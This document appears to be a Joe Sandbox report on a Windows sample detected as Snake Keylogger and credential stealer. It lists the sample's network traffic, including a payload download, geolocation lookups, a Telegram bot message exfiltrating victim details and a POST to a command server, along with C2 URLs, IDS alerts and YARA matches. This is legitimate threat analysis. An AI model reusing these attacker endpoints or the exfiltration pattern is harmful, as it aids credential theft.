HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.6:49815 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49907 version: TLS 1.2

Source: MC8017774DOCS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: MC8017774DOCS.exe, 00000004.00000001.2521521176.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: _.pdb source: MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: MC8017774DOCS.exe, 00000004.00000001.2521521176.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 0_2_004065DA FindFirstFileW,FindClose,	0_2_004065DA
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 0_2_004059A9 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004059A9
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:506013%0D%0ADate%20and%20Time:%2026/11/2024%20/%2015:27:34%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20506013%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /den/P4.php HTTP/1.1Content-Type: text/plain; charset=utf-8Host: the.drillmmcsnk.topContent-Length: 1432Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 185.244.144.68 185.244.144.68

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49801 -> 185.244.144.68:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49808 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49826 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49838 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49821 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49890 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49902 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49871 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49882 -> 172.67.177.134:443

Source: global traffic	HTTP traffic detected: GET /pqvBgXvmocLIihvW108.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: mertvinc.com.trCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.6:49815 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:506013%0D%0ADate%20and%20Time:%2026/11/2024%20/%2015:27:34%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20506013%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /pqvBgXvmocLIihvW108.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: mertvinc.com.trCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: mertvinc.com.tr
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: the.drillmmcsnk.top

Source: unknown

HTTP traffic detected: POST /den/P4.php HTTP/1.1Content-Type: text/plain; charset=utf-8Host: the.drillmmcsnk.topContent-Length: 1432Connection: Keep-Alive

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 25 Nov 2024 06:10:30 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: MC8017774DOCS.exe, 00000004.00000002.3453102350.0000000003D73000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3453633751.0000000003EF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://mertvinc.com.tr/pqvBgXvmocLIihvW108.bin
Source: MC8017774DOCS.exe, 00000004.00000002.3453102350.0000000003D73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mertvinc.com.tr/pqvBgXvmocLIihvW108.binW
Source: MC8017774DOCS.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://the.drillmmcsnk.top
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://the.drillmmcsnk.top/den/P4.php
Source: MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://the.drillmmcsnk.top/den/api.php
Source: MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: MC8017774DOCS.exe, 00000004.00000001.2521521176.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.ftp.ftp://ftp.gopher.
Source: MC8017774DOCS.exe, 00000004.00000001.2521521176.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: MC8017774DOCS.exe, 00000004.00000001.2521521176.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E15000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:506013%0D%0ADate%20a
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F1D000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F18000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enH
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MC8017774DOCS.exe, 00000004.00000001.2521521176.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033DED000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D7D000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033DA8000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E15000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033DED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75$
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F4E000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/H
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49907 version: TLS 1.2

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Code function: 0_2_0040543E GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040543E

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.MC8017774DOCS.exe.360e0000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.MC8017774DOCS.exe.36720000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.MC8017774DOCS.exe.36720000.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.MC8017774DOCS.exe.36720000.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.MC8017774DOCS.exe.360e0000.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
